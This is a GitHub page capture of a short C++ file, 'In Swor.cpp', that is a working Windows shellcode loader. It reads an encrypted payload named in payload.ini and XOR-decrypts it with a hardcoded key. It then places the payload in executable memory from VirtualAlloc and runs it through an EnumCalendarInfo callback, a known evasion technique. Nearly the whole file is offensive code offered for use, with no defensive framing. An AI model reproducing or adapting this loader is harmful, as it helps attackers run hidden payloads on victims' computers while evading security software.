-
Notifications
You must be signed in to change notification settings - Fork 33
/
In Swor.cpp
60 lines (42 loc) · 1.7 KB
/
In Swor.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
void xor_decrypt(unsigned char* data, std::size_t size, const unsigned char* key, std::size_t key_size) {
for (std::size_t i = 0; i < size; i++) {
data[i] ^= key[i % key_size];
}
}
int main(int argc, char* argv[]) {
std::string configFilePath = "payload.ini";
std::ifstream configFile(configFilePath);
if (!configFile) {
std::cout << "open config file error: " << configFilePath << std::endl;
return 1;
}
std::string encryptedFilePath;
std::getline(configFile, encryptedFilePath);
configFile.close();
std::ifstream file(encryptedFilePath, std::ios::binary);
if (!file) {
std::cout << "open encrypted file error: " << encryptedFilePath << std::endl;
return 1;
}
file.seekg(0, std::ios::end);
std::size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
std::vector<unsigned char> encryptedData(fileSize);
file.read(reinterpret_cast<char*>(encryptedData.data()), fileSize);
file.close();
const unsigned char key[] = "SecretKey";
std::size_t keySize = sizeof(key) - 1;
xor_decrypt(encryptedData.data(), fileSize, key, keySize);
unsigned char* shellcode = new unsigned char[fileSize];
std::copy(encryptedData.begin(), encryptedData.end(), shellcode);
LPVOID addr = ::VirtualAlloc(nullptr, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode, fileSize);
::EnumCalendarInfo((CALINFO_ENUMPROC)addr, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1);
delete[] shellcode;
return 0;
}